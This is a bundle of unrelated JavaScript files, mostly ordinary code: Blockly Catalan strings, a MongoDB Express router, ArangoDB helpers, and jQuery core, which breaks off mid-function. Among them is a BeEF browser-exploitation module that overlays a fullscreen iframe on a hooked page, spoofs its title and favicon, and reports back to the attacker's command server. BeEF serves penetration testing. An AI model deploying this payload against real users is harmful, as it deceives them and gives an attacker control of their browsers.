= "Afegir un text a la variable '%1'."; Blockly.Msg.TEXT_CHANGECASE_HELPURL = "https://github.com/google/blockly/wiki/Text#adjusting-text-case"; // untranslated Blockly.Msg.TEXT_CHANGECASE_OPERATOR_LOWERCASE = "a minúscules"; Blockly.Msg.TEXT_CHANGECASE_OPERATOR_TITLECASE = "a Text De Títol"; Blockly.Msg.TEXT_CHANGECASE_OPERATOR_UPPERCASE = "a MAJÚSCULES"; Blockly.Msg.TEXT_CHANGECASE_TOOLTIP = "Retorna una còpia del text amb diferents majúscules/minúscules."; Blockly.Msg.TEXT_CHARAT_FIRST = "recupera la primera lletra"; Blockly.Msg.TEXT_CHARAT_FROM_END = "recupera la lletra núm.# des del final"; Blockly.Msg.TEXT_CHARAT_FROM_START = "recupera la lletra núm.#"; Blockly.Msg.TEXT_CHARAT_HELPURL = "https://github.com/google/blockly/wiki/Text#extracting-text"; // untranslated Blockly.Msg.TEXT_CHARAT_INPUT_INTEXT = "en el text"; Blockly.Msg.TEXT_CHARAT_LAST = "recupera l'última lletra"; Blockly.Msg.TEXT_CHARAT_RANDOM = "recupera una lletra a l'atzar"; Blockly.Msg.TEXT_CHARAT_TAIL = ""; // untranslated Blockly.Msg.TEXT_CHARAT_TOOLTIP = "Recupera la lletra de la posició especificada."; Blockly.Msg.TEXT_COUNT_HELPURL = "https://github.com/google/blockly/wiki/Text#counting-substrings"; // untranslated Blockly.Msg.TEXT_COUNT_MESSAGE0 = "count %1 in %2"; // untranslated Blockly.Msg.TEXT_COUNT_TOOLTIP = "Count how many times some text occurs within some other text."; // untranslated Blockly.Msg.TEXT_CREATE_JOIN_ITEM_TOOLTIP = "Afegeix un element al text."; Blockly.Msg.TEXT_CREATE_JOIN_TITLE_JOIN = "unir"; Blockly.Msg.TEXT_CREATE_JOIN_TOOLTIP = "Afegeix, esborrar o reordenar seccions per reconfigurar aquest bloc de text."; Blockly.Msg.TEXT_GET_SUBSTRING_END_FROM_END = "fins a la lletra núm.# des del final"; Blockly.Msg.TEXT_GET_SUBSTRING_END_FROM_START = "fins a la lletra núm.#"; Blockly.Msg.TEXT_GET_SUBSTRING_END_LAST = "fins a l'última lletra"; Blockly.Msg.TEXT_GET_SUBSTRING_HELPURL = "https://github.com/google/blockly/wiki/Text#extracting-a-region-of-text"; // untranslated Blockly.Msg.TEXT_GET_SUBSTRING_INPUT_IN_TEXT = "en el text"; Blockly.Msg.TEXT_GET_SUBSTRING_START_FIRST = "recupera subcadena des de la primera lletra"; Blockly.Msg.TEXT_GET_SUBSTRING_START_FROM_END = "recupera subcadena des de la lletra núm.# des del final"; Blockly.Msg.TEXT_GET_SUBSTRING_START_FROM_START = "recupera subcadena des de la lletra núm.#"; Blockly.Msg.TEXT_GET_SUBSTRING_TAIL = ""; // untranslated Blockly.Msg.TEXT_GET_SUBSTRING_TOOLTIP = "Recupera una part especificada del text."; Blockly.Msg.TEXT_INDEXOF_HELPURL = "https://github.com/google/blockly/wiki/Text#finding-text"; // untranslated Blockly.Msg.TEXT_INDEXOF_INPUT_INTEXT = "en el text"; Blockly.Msg.TEXT_INDEXOF_OPERATOR_FIRST = "trobar la primera aparició del text"; Blockly.Msg.TEXT_INDEXOF_OPERATOR_LAST = "trobar l'última aparició del text"; Blockly.Msg.TEXT_INDEXOF_TAIL = ""; // untranslated Blockly.Msg.TEXT_INDEXOF_TOOLTIP = "Retorna l'índex de la primera/última aparició del primer text dins el segon. Retorna %1 si no es troba el text."; Blockly.Msg.TEXT_ISEMPTY_HELPURL = "https://github.com/google/blockly/wiki/Text#checking-for-empty-text"; // untranslated Blockly.Msg.TEXT_ISEMPTY_TITLE = "%1 està buit"; Blockly.Msg.TEXT_ISEMPTY_TOOLTIP = "Retorna cert si el text proporcionat està buit."; Blockly.Msg.TEXT_JOIN_HELPURL = "https://github.com/google/blockly/wiki/Text#text-creation"; // untranslated Blockly.Msg.TEXT_JOIN_TITLE_CREATEWITH = "crear text amb"; Blockly.Msg.TEXT_JOIN_TOOLTIP = "Crea un tros de text per unió de qualsevol nombre d'elements."; Blockly.Msg.TEXT_LENGTH_HELPURL = "https://github.com/google/blockly/wiki/Text#text-modification"; // untranslated Blockly.Msg.TEXT_LENGTH_TITLE = "llargària de %1"; Blockly.Msg.TEXT_LENGTH_TOOLTIP = "Retorna el nombre de lletres (espais inclosos) en el text proporcionat."; Blockly.Msg.TEXT_PRINT_HELPURL = "https://github.com/google/blockly/wiki/Text#printing-text"; // untranslated Blockly.Msg.TEXT_PRINT_TITLE = "imprimir %1"; Blockly.Msg.TEXT_PRINT_TOOLTIP = "Imprimir el text, el nombre o altre valor especificat."; Blockly.Msg.TEXT_PROMPT_HELPURL = "https://github.com/google/blockly/wiki/Text#getting-input-from-the-user"; // untranslated Blockly.Msg.TEXT_PROMPT_TOOLTIP_NUMBER = "Demana que l'usuari introdueixi un nombre."; Blockly.Msg.TEXT_PROMPT_TOOLTIP_TEXT = "Demana que l'usuari introdueixi un text."; Blockly.Msg.TEXT_PROMPT_TYPE_NUMBER = "demanar un nombre amb el missatge"; Blockly.Msg.TEXT_PROMPT_TYPE_TEXT = "demanar text amb el missatge"; Blockly.Msg.TEXT_REPLACE_HELPURL = "https://github.com/google/blockly/wiki/Text#replacing-substrings"; // untranslated Blockly.Msg.TEXT_REPLACE_MESSAGE0 = "replace %1 with %2 in %3"; // untranslated Blockly.Msg.TEXT_REPLACE_TOOLTIP = "Replace all occurances of some text within some other text."; // untranslated Blockly.Msg.TEXT_REVERSE_HELPURL = "https://github.com/google/blockly/wiki/Text#reversing-text"; // untranslated Blockly.Msg.TEXT_REVERSE_MESSAGE0 = "reverse %1"; // untranslated Blockly.Msg.TEXT_REVERSE_TOOLTIP = "Reverses the order of the characters in the text."; // untranslated Blockly.Msg.TEXT_TEXT_HELPURL = "https://ca.wikipedia.org/wiki/Cadena_%28inform%C3%A0tica%29"; Blockly.Msg.TEXT_TEXT_TOOLTIP = "Una lletra, paraula o línia de text."; Blockly.Msg.TEXT_TRIM_HELPURL = "https://github.com/google/blockly/wiki/Text#trimming-removing-spaces"; // untranslated Blockly.Msg.TEXT_TRIM_OPERATOR_BOTH = "retalla espais de tots dos extrems de"; Blockly.Msg.TEXT_TRIM_OPERATOR_LEFT = "retalla espais de l'esquerra de"; Blockly.Msg.TEXT_TRIM_OPERATOR_RIGHT = "retalla espais de la dreta de"; Blockly.Msg.TEXT_TRIM_TOOLTIP = "Retorna una còpia del text on s'han esborrat els espais d'un o dels dos extrems."; Blockly.Msg.TODAY = "Today"; // untranslated Blockly.Msg.UNDO = "Undo"; // untranslated Blockly.Msg.VARIABLES_DEFAULT_NAME = "element"; Blockly.Msg.VARIABLES_GET_CREATE_SET = "Crea 'modifica %1'"; Blockly.Msg.VARIABLES_GET_HELPURL = "https://github.com/google/blockly/wiki/Variables#get"; // untranslated Blockly.Msg.VARIABLES_GET_TOOLTIP = "Retorna el valor d'aquesta variable."; Blockly.Msg.VARIABLES_SET = "modifica %1 a %2"; Blockly.Msg.VARIABLES_SET_CREATE_GET = "Crear 'recupera %1'"; Blockly.Msg.VARIABLES_SET_HELPURL = "https://github.com/google/blockly/wiki/Variables#set"; // untranslated Blockly.Msg.VARIABLES_SET_TOOLTIP = "Modifica aquesta variable al valor introduït."; Blockly.Msg.VARIABLE_ALREADY_EXISTS = "A variable named '%1' already exists."; // untranslated Blockly.Msg.PROCEDURES_DEFRETURN_TITLE = Blockly.Msg.PROCEDURES_DEFNORETURN_TITLE; Blockly.Msg.CONTROLS_IF_IF_TITLE_IF = Blockly.Msg.CONTROLS_IF_MSG_IF; Blockly.Msg.CONTROLS_WHILEUNTIL_INPUT_DO = Blockly.Msg.CONTROLS_REPEAT_INPUT_DO; Blockly.Msg.CONTROLS_IF_MSG_THEN = Blockly.Msg.CONTROLS_REPEAT_INPUT_DO; Blockly.Msg.CONTROLS_IF_ELSE_TITLE_ELSE = Blockly.Msg.CONTROLS_IF_MSG_ELSE; Blockly.Msg.PROCEDURES_DEFRETURN_PROCEDURE = Blockly.Msg.PROCEDURES_DEFNORETURN_PROCEDURE; Blockly.Msg.LISTS_GET_SUBLIST_INPUT_IN_LIST = Blockly.Msg.LISTS_INLIST; Blockly.Msg.LISTS_GET_INDEX_INPUT_IN_LIST = Blockly.Msg.LISTS_INLIST; Blockly.Msg.MATH_CHANGE_TITLE_ITEM = Blockly.Msg.VARIABLES_DEFAULT_NAME; Blockly.Msg.PROCEDURES_DEFRETURN_DO = Blockly.Msg.PROCEDURES_DEFNORETURN_DO; Blockly.Msg.CONTROLS_IF_ELSEIF_TITLE_ELSEIF = Blockly.Msg.CONTROLS_IF_MSG_ELSEIF; Blockly.Msg.LISTS_GET_INDEX_HELPURL = Blockly.Msg.LISTS_INDEX_OF_HELPURL; Blockly.Msg.CONTROLS_FOREACH_INPUT_DO = Blockly.Msg.CONTROLS_REPEAT_INPUT_DO; Blockly.Msg.LISTS_SET_INDEX_INPUT_IN_LIST = Blockly.Msg.LISTS_INLIST; Blockly.Msg.CONTROLS_FOR_INPUT_DO = Blockly.Msg.CONTROLS_REPEAT_INPUT_DO; Blockly.Msg.LISTS_CREATE_WITH_ITEM_TITLE = Blockly.Msg.VARIABLES_DEFAULT_NAME; Blockly.Msg.TEXT_APPEND_VARIABLE = Blockly.Msg.VARIABLES_DEFAULT_NAME; Blockly.Msg.TEXT_CREATE_JOIN_ITEM_TITLE_ITEM = Blockly.Msg.VARIABLES_DEFAULT_NAME; Blockly.Msg.LISTS_INDEX_OF_INPUT_IN_LIST = Blockly.Msg.LISTS_INLIST; Blockly.Msg.PROCEDURES_DEFRETURN_COMMENT = Blockly.Msg.PROCEDURES_DEFNORETURN_COMMENT; Blockly.Msg.MATH_HUE = "230"; Blockly.Msg.LOOPS_HUE = "120"; Blockly.Msg.LISTS_HUE = "260"; Blockly.Msg.LOGIC_HUE = "210"; Blockly.Msg.VARIABLES_HUE = "330"; Blockly.Msg.TEXTS_HUE = "160"; Blockly.Msg.PROCEDURES_HUE = "290"; Blockly.Msg.COLOUR_HUE = "20";
const Error = require('./Error') class NotEnoughBalanceError extends Error { constructor() { super('Not enough balance.', NotEnoughBalanceError.code) this.setName(NotEnoughBalanceError.name) } } NotEnoughBalanceError.name = 'NotEnoughBalanceError' NotEnoughBalanceError.code = 'not-enough-balance' module.exports = NotEnoughBalanceError
// // Copyright 2012 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // beef.execute(function() { var result = 'Iframe successfully created!'; var title = '<%= @iframe_title %>'; var iframe_src = '<%= @iframe_src %>'; var iframe_favicon = '<%= @iframe_favicon %>'; var sent = false; $j("iframe").remove(); beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } }); document.body.scroll = "no"; document.documentElement.style.overflow = 'hidden'; beef.browser.changeFavicon(iframe_favicon); setTimeout(function() { if(!sent) { result = 'Iframe failed to load, timeout'; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); document.title = iframe_src + " is not available"; sent = true; } }, <%= @iframe_timeout %>); });
Package.describe({ name: "telescope:kadira", summary: "Telescope Kadira package", version: "0.25.2", git: "https://github.com/TelescopeJS/telescope-kadira.git" }); Package.onUse(function (api) { api.versionsFrom(['METEOR@1.0']); api.use([ 'telescope:core@0.25.2', 'meteorhacks:kadira@2.23.6', 'kadira:debug@2.2.4' ], ['client', 'server']); api.addFiles([ 'package-tap.i18n', 'lib/kadira-settings.js' ], ['client', 'server']); api.addFiles([ 'lib/server/kadira.js' ], ['server']); var languages = ["ar", "bg", "cs", "da", "de", "el", "en", "es", "et", "fr", "hu", "id", "it", "ja", "kk", "ko", "nl", "pl", "pt-BR", "ro", "ru", "sl", "sv", "th", "tr", "vi", "zh-CN"]; var languagesPaths = languages.map(function (language) { return "i18n/"+language+".i18n.json"; }); api.addFiles(languagesPaths, ["client", "server"]); });
import express from 'express' const MongoClient = require('mongodb').MongoClient import { red, yellow } from '../logger' const router = express.Router() router.get('/', async (req, res) => { try { const url = 'mongodb://localhost:27017' const client = await MongoClient.connect(url, { useNewUrlParser: true }) const db = await client.db('crunchbase') const ret = await db.collection('companies').find({}).toArray() res.send(JSON.stringify({ret})) } catch (e) { red('ERROR: ', e) } }) const executeAggregate = async (query) => { const url = 'mongodb://localhost:27017' const client = await MongoClient.connect(url, { useNewUrlParser: true }) const db = await client.db('crunchbase') const ret = await db.collection('companies').aggregate(query).toArray() return ret } router.get('/unwind-m01s28', async (req, res) => { /* Why match twice? The first $match finds all companies that have a funding round where greylock was a funder in one or more rounds. This can and does bring back docs/rounds that don't have greylock as a funder. The second $match filters these funding rounds out. */ const match = { $match: {'funding_rounds.investments.financial_org.permalink': 'greylock' } } const unwind1 = { $unwind: '$funding_rounds'} const unwind2 = { $unwind: '$funding_rounds.investments'} const project = { $project: { _id: 0, name: 1, fundingOrganization: '$funding_rounds.investments.financial_org.permalink', amount: '$funding_rounds.raised_amount', year: '$funding_rounds.funded_year' } } const q = [ match, unwind1, unwind2, match, project, ] const ret = await executeAggregate(q) // const funder = 'greylock' const funder = 'sv-angel' // const ret2 = ret.filter(r => r.fundingOrganization.includes(funder)) res.send(JSON.stringify({ret})) }) router.get('/companies', async (req, res) => { const q = [ { $match: {'funding_rounds.investments.financial_org.permalink': 'greylock' } }, { $project: { _id: 0, name: 1, founded: { year: '$founded_year', month: '$founded_month', day: '$founded_day' } } } ] try { // const url = 'mongodb://localhost:27017' // const client = await MongoClient.connect(url, { useNewUrlParser: true }) // const db = await client.db('crunchbase') // const ret = await db.collection('companies').aggregate(q).toArray() const ret = await executeAggregate(q) yellow('ret', ret) res.send(JSON.stringify({ret})) } catch (e) { red('ERROR: ', e) } }) export default router /* Reference https://stackoverflow.com/questions/47662220/db-collection-is-not-a-function-when-using-mongoclient-v3-0 */
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([[2],{"/tIy":function(t,n,e){"use strict";var o=e("DYWI"),i=e.n(o);i.a},DYWI:function(t,n,e){},lKu8:function(t,n,e){"use strict";e.r(n);var o=function(){var t=this,n=t.$createElement,e=t._self._c||n;return e("f7-page",{staticClass:"paper-page",on:{"page:init":t.onPageInit,"page:beforeout":t.onBeforeOut}},[e("f7-page-content",{nativeOn:{scroll:function(n){return t.onScroll(n)}}},[t.isLoading?e("f7-block",{staticClass:"text-align-center"},[e("f7-preloader")],1):t._e(),e("f7-block",{staticClass:"popup-block-content"},[e("h1",[t._v(t._s(t.title))]),t._l(t.newsList,function(n,o){return e("p",{key:o},[t._l(n.en.split(" "),function(n,o){return e("span",{key:o,on:{click:t.onWordClick}},[t._v("\n "+t._s(n)+"\n ")])}),e("f7-icon",{attrs:{md:"material:filter_b_and_w"},nativeOn:{click:function(n){t.openTheater(o)}}})],2)})],2)],1)],1)},i=[],c=e("7eDf"),a=e("1yJj"),s=e("aW/7"),r={components:{f7View:c["E"],f7Page:c["u"],f7Preloader:c["y"],f7Block:c["c"],f7PageContent:c["v"],f7Icon:c["h"]},data:function(){return{title:"",newsList:[],lfKey:"",isLoading:!0,name:"",region:"",preference:{}}},methods:{onPageInit:function(){var t=this,n=this.$f7route.query,e=n.name,o=n.region,i=n.title,c="/content/".concat(e,"/").concat(o);this.$lf.getItem(c).then(function(n){n?(t.newsList=n.content,t.isLoading=!1,t.title=i):t.getData()}).catch(function(t){console.log(t)}),this.lfKey=c,this.name=e,this.region=o,this.preference=s["a"][o],this.$f7.progressbar.show(0,"orange")},getData:function(){var t=this,n=this.$f7route.query,e=n.title,o=n.name;this.$http.get("".concat(a["a"][this.preference.api],"?name=").concat(o)).then(function(n){n.success&&(t.newsList=n.data.content)}).catch(function(t){console.log(t)}).finally(function(){t.isLoading=!1,t.title=e})},onWordClick:function(t){t.target.classList.toggle("bg-color-yellow")},onScroll:function(t){var n=t.target,e=n.scrollTop,o=n.scrollHeight,i=n.offsetHeight,c=e/(o-i)*100;this.$f7.progressbar.show(c,"orange")},onBeforeOut:function(){this.$f7.progressbar.hide()},openTheater:function(t){this.$f7router.navigate("/content3?name=".concat(encodeURIComponent(this.name),"&region=").concat(this.region,"&index=").concat(t))}}},l=r,f=(e("/tIy"),e("KHd+")),u=Object(f["a"])(l,o,i,!1,null,"05ecacd2",null);n["default"]=u.exports}}]); //# sourceMappingURL=2-legacy.3d5d50f6.js.map
/* jshint strict: false */ // ////////////////////////////////////////////////////////////////////////////// // / DISCLAIMER // / // / Copyright 2016 ArangoDB GmbH, Cologne, Germany // / Copyright 2014 triagens GmbH, Cologne, Germany // / // / Licensed under the Apache License, Version 2.0 (the "License") // / you may not use this file except in compliance with the License. // / You may obtain a copy of the License at // / // / http://www.apache.org/licenses/LICENSE-2.0 // / // / Unless required by applicable law or agreed to in writing, software // / distributed under the License is distributed on an "AS IS" BASIS, // / WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // / See the License for the specific language governing permissions and // / limitations under the License. // / // / Copyright holder is triAGENS GmbH, Cologne, Germany // / // / @author Dr. Frank Celler, Lucas Dohmen // ////////////////////////////////////////////////////////////////////////////// let db = require('@arangodb').db; let internal = require('internal'); const cn = '_frontend'; const key = 'notifications'; // ////////////////////////////////////////////////////////////////////////////// // / @brief the notifications configuration // ////////////////////////////////////////////////////////////////////////////// exports.notifications = {}; // ////////////////////////////////////////////////////////////////////////////// // / @brief returns the versions notification // ////////////////////////////////////////////////////////////////////////////// exports.notifications.versions = function () { let doc = {}; let frontend = internal.db._collection(cn); if (frontend) { try { doc = frontend.document(key); } catch (err) { try { doc = frontend.insert({ _key: key }); } catch (err) {} } } if (!doc.hasOwnProperty('versions')) { doc.versions = {}; } if (internal.hasOwnProperty('frontendVersionCheck') && !internal.frontendVersionCheck) { doc.enableVersionNotification = false; } return doc; }; // ////////////////////////////////////////////////////////////////////////////// // / @brief sets the versions notification // ////////////////////////////////////////////////////////////////////////////// exports.notifications.setVersions = function (data) { let frontend = internal.db._collection(cn); if (!frontend) { // collection not (yet) available return; } try { // assume document is there already frontend.update(key, data); } catch (err) { // probably not, so try to insert it data._key = key; frontend.insert(data); } };
/*! * jQuery JavaScript Library v2.0.2 -sizzle,-wrap,-event-alias,-ajax,-ajax/script,-ajax/jsonp,-ajax/xhr,-effects,-deprecated * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright 2005, 2013 jQuery Foundation, Inc. and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2013-06-03T15:37Z */ (function( window, undefined ) { // Can't do this because several apps including ASP.NET trace // the stack via arguments.caller.callee and Firefox dies if // you try to trace through "use strict" call chains. (#13335) // Support: Firefox 18+ //"use strict"; var // A central reference to the root jQuery(document) rootjQuery, // The deferred used on DOM ready readyList, // Support: IE9 // For `typeof xmlNode.method` instead of `xmlNode.method !== undefined` core_strundefined = typeof undefined, // Use the correct document accordingly with window argument (sandbox) location = window.location, document = window.document, docElem = document.documentElement, // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$, // [[Class]] -> type pairs class2type = {}, // List of deleted data cache ids, so we can reuse them core_deletedIds = [], core_version = "2.0.2 -sizzle,-wrap,-event-alias,-ajax,-ajax/script,-ajax/jsonp,-ajax/xhr,-effects,-deprecated", // Save a reference to some core methods core_concat = core_deletedIds.concat, core_push = core_deletedIds.push, core_slice = core_deletedIds.slice, core_indexOf = core_deletedIds.indexOf, core_toString = class2type.toString, core_hasOwn = class2type.hasOwnProperty, core_trim = core_version.trim, // Define a local copy of jQuery jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' return new jQuery.fn.init( selector, context, rootjQuery ); }, // Used for matching numbers core_pnum = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source, // Used for splitting on whitespace core_rnotwhite = /\S+/g, // A simple way to check for HTML strings // Prioritize #id over <tag> to avoid XSS via location.hash (#9521) // Strict HTML recognition (#11290: must start with <) rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/, // Match a standalone tag rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>|)$/, // Matches dashed string for camelizing rmsPrefix = /^-ms-/, rdashAlpha = /-([\da-z])/gi, // Used by jQuery.camelCase as callback to replace() fcamelCase = function( all, letter ) { return letter.toUpperCase(); }, // The ready event handler and self cleanup method completed = function() { document.removeEventListener( "DOMContentLoaded", completed, false ); window.removeEventListener( "load", completed, false ); jQuery.ready(); }; jQuery.fn = jQuery.prototype = { // The current version of jQuery being used jquery: core_version, constructor: jQuery, init: function( selector, context, rootjQuery ) { var match, elem; // HANDLE: $(""), $(null), $(undefined), $(false) if ( !selector ) { return this; } // Handle HTML strings if ( typeof selector === "string" ) { if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) { // Assume that strings that start and end with <> are HTML and skip the regex check match = [ null, selector, null ]; } else { match = rquickExpr.exec( selector ); } // Match html or make sure no context is specified for #id if ( match && (match[1] || !context) ) { // HANDLE: $(html) -> $(array) if ( match[1] ) { context = context instanceof jQuery ? context[0] : context; // scripts is true for back-compat jQuery.merge( this, jQuery.parseHTML( match[1], context && context.nodeType ? context.ownerDocument || context : document, true ) ); // HANDLE: $(html, props) if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) { for ( match in context ) { // Properties of context are called as methods if possible if ( jQuery.isFunction( this[ match ] ) ) { this[ match ]( context[ match ] ); // ...and otherwise set as attributes } else { this.attr( match, context[ match ] ); } } } return this; // HANDLE: $(#id) } else { elem = document.getElementById( match[2] ); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 if ( elem && elem.parentNode ) { // Inject the element directly into the jQuery object this.length = 1; this[0] = elem; } this.context = document; this.selector = selector; return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return ( context || rootjQuery ).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(DOMElement) } else if ( selector.nodeType ) { this.context = this[0] = selector; this.length = 1; return this; // HANDLE: $(function) // Shortcut for document ready } else if ( jQuery.isFunction( selector ) ) { return rootjQuery.ready( selector ); } if ( selector.selector !== undefined ) { this.selector = selector.selector; this.context = selector.context; } return jQuery.makeArray( selector, this ); }, // Start with an empty selector selector: "", // The default length of a jQuery object is 0 length: 0, toArray: function() { return core_slice.call( this ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { return num == null ? // Return a 'clean' array this.toArray() : // Return just the object ( num < 0 ? this[ this.length + num ] : this[ num ] ); }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); // Add the old object onto the stack (as a reference) ret.prevObject = this; ret.context = this.context; // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. // (You can seed the arguments with an array of args, but this is // only used internally.) each: function( callback, args ) { return jQuery.each( this, callback, args ); }, ready: function( fn ) { // Add the callback jQuery.ready.promise().done( fn ); return this; }, slice: function() { return this.pushStack( core_slice.apply( this, arguments ) ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, eq: function( i ) { var len = this.length, j = +i + ( i < 0 ? len : 0 ); return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] ); }, map: function( callback ) { return this.pushStack( jQuery.map(this, function( elem, i ) { return callback.call( elem, i, elem ); })); }, end: function() { return this.prevObject || this.constructor(null); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: core_push, sort: [].sort, splice: [].splice }; // Give the init function the jQuery prototype for later instantiation jQuery.fn.init.prototype = jQuery.fn; jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[0] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; target = arguments[1] || {}; // skip the boolean and the target i = 2; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !jQuery.isFunction(target) ) { target = {}; } // extend jQuery itself if only one argument is passed if ( length === i ) { target = this; --i; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( (options = arguments[ i ]) != null ) { // Extend the base object for ( name in options ) { src = target[ name ]; copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) { if ( copyIsArray ) { copyIsArray = false; clone = src && jQuery.isArray(src) ? src : []; } else { clone = src && jQuery.isPlainObject(src) ? src : {}; } // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend({ // Unique for each copy of jQuery on the page expando: "jQuery" + ( core_version + Math.random() ).replace( /\D/g, "" ), noConflict: function( deep ) { if ( window.$ === jQuery ) { window.$ = _$; } if ( deep && window.jQuery === jQuery ) { window.jQuery = _jQuery; } return jQuery; }, // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, // Hold (or release) the ready event holdReady: function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } }, // Handle when the DOM is ready ready: function( wait ) { // Abort if there are pending holds or we're already ready if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { return; } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); // Trigger any bound ready events if ( jQuery.fn.trigger ) { jQuery( document ).trigger("ready").off("ready"); } }, // See test/unit/core.js for details concerning isFunction. // Since version 1.3, DOM methods and functions like alert // aren't supported. They return false on IE (#2968). isFunction: function( obj ) { return jQuery.type(obj) === "function"; }, isArray: Array.isArray, isWindow: function( obj ) { return obj != null && obj === obj.window; }, isNumeric: function( obj ) { return !isNaN( parseFloat(obj) ) && isFinite( obj ); }, type: function( obj ) { if ( obj == null ) { return String( obj ); } // Support: Safari <= 5.1 (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ core_toString.call(obj) ] || "object" : typeof obj; }, isPlainObject: function( obj ) { // Not plain objects: // - Any object or value whose internal [[Class]] property is not "[object Object]" // - DOM nodes // - window if ( jQuery.type( obj ) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { return false; } // Support: Firefox <20 // The try/catch suppresses exceptions thrown when attempting to access // the "constructor" property of certain host objects, ie. |window.location| // https://bugzilla.mozilla.org/show_bug.cgi?id=814622 try { if ( obj.constructor && !core_hasOwn.call( obj.constructor.prototype, "isPrototypeOf" ) ) { return false; } } catch ( e ) { return false; } // If the function hasn't returned already, we're confident that // |obj| is a plain object, created by {} or constructed with new Object return true; }, isEmptyObject: function( obj ) { var name; for ( name in obj ) { return false; } return true; }, error: function( msg ) { throw new Error( msg ); }, // data: string of html // context (optional): If specified, the fragment will be created in this context, defaults to document // keepScripts (optional): If true, will include scripts passed in the html string parseHTML: function( data, context, keepScripts ) { if ( !data || typeof data !== "string" ) { return null; } if ( typeof context === "boolean" ) { keepScripts = context; context = false; } context = context || document; var parsed = rsingleTag.exec( data ), scripts = !keepScripts && []; // Single tag if ( parsed ) { return [ context.createElement( parsed[1] ) ]; } parsed = jQuery.buildFragment( [ data ], context, scripts ); if ( scripts ) { jQuery( scripts ).remove(); } return jQuery.merge( [], parsed.childNodes ); }, parseJSON: JSON.parse, // Cross-browser xml parsing parseXML: function( data ) { var xml, tmp; if ( !data || typeof data !== "string" ) { return null; } // Support: IE9 try { tmp = new DOMParser(); xml = tmp.parseFromString( data , "text/xml" ); } catch ( e ) { xml = undefined; } if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) { jQuery.error( "Invalid XML: " + data ); } return xml; }, noop: function() {}, // Evaluates a script in a global context globalEval: function( code ) { var script, indirect = eval; code = jQuery.trim( code ); if ( code ) { // If the code includes a valid, prologue position // strict mode pragma, execute code by injecting a // script tag into the document. if ( code.indexOf("use strict") === 1 ) { script = document.createElement("script"); script.text = code; document.head.appendChild( script ).parentNode.removeChild( script ); } else { // Otherwise, avoid the DOM node creation, insertion // and removal by using an indirect global eval indirect( code ); } } }, // Convert dashed to camelCase; used by the css and data modules // Microsoft forgot to hump their vendor prefix (#9572) camelCase: function( string ) { return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); }, nodeName: function( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }, // args is for internal usage only each: function( obj, callback, args ) { var value, i = 0, length = obj.length, isArray = isArraylike( obj ); if ( args ) { if ( isArray ) { for ( ; i < length; i++ ) { value = callback.apply( obj[ i ], args ); if ( value === false ) { break; } } } else { for ( i in obj ) { value = callback.apply( obj[ i ], args ); if ( value === false ) { break; } } } // A special, fast, case for the most common use of each } else { if ( isArray ) { for ( ; i < length; i++ ) { value = callback.call( obj[ i ], i, obj[ i ] ); if ( value === false ) { break; } } } else { for ( i in obj ) { value = callback.call( obj[ i ], i, obj[ i ] ); if ( value === false ) { break; } } } } return obj; }, trim: function( text ) { return text == null ? 